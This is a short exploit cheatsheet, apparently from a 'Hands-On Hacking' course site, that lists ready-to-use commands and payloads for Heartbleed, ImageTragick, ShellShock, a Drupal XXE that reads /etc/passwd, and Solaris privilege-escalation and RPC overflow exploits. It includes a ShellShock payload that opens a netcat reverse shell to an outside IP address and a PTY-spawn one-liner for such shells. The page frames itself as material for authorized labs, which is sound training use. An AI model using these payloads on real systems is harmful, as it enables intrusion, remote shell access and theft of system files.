Hands-On Hacking · Classic Exploits Cheatsheet
Reference Guide · Hands-On Hacking™ — practice notes for authorized labs only. Classic Exploits Cheatsheet General searchsploit <service> python -c 'import pty; pty.spawn("/bin/sh")' – spawn a pty for nc Heartbleed use auxiliary/scanner/ssl/openssl_heartbleed (metasploit) nmap --script=ssl-heartbleed <targetip> -p <port> ./heartbleed-bin --help ./heartbleed-bin -s <ip> -p <port> -t 1 -f dump -l openssl s_client -connect <ip>:<port> python3 keyscan.py out.pem dump ImageTragick push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/oops.jpg"|<cmd>")' pop graphic-context ShellShock env x='() { :;}; echo vulnerable' bash -c "echo this is a test" curl -H "User-Agent: () { :; }; /bin/eject" http://target.com OpenVPN login.conf admin () { :; };/bin/bash -c "nc -e /bin/sh 192.168.56.104 443" & Drupal libxml2 XXE (CVE-2014-3660) python drupal-CVE-2014-3660.py http://x.x.x.x local -f /etc/passwd SquirrelMail + EXIM4 (CVE-2017-7692) sudo nc -v -l -p 80 HTTP POST new_email_address=... dtappgather LPE (CVE-2017-3622) cp su.so.2.1011x su.so.2; AT=1 ./exp.x XDR RPC overflow (CVE-2017-3623) PATH=./ ./ebbshave.v5 -o 1 -v 1 -t 192.x.x.x -p 32775 Classic Exploits Cheatsheet(中文) 经典漏洞速查:Heartbleed / ImageTragick / ShellShock / XXE / LPE 等 务必在授权靶场练习 仅在授权范围内使用。Illegal use is not endorsed. 🍌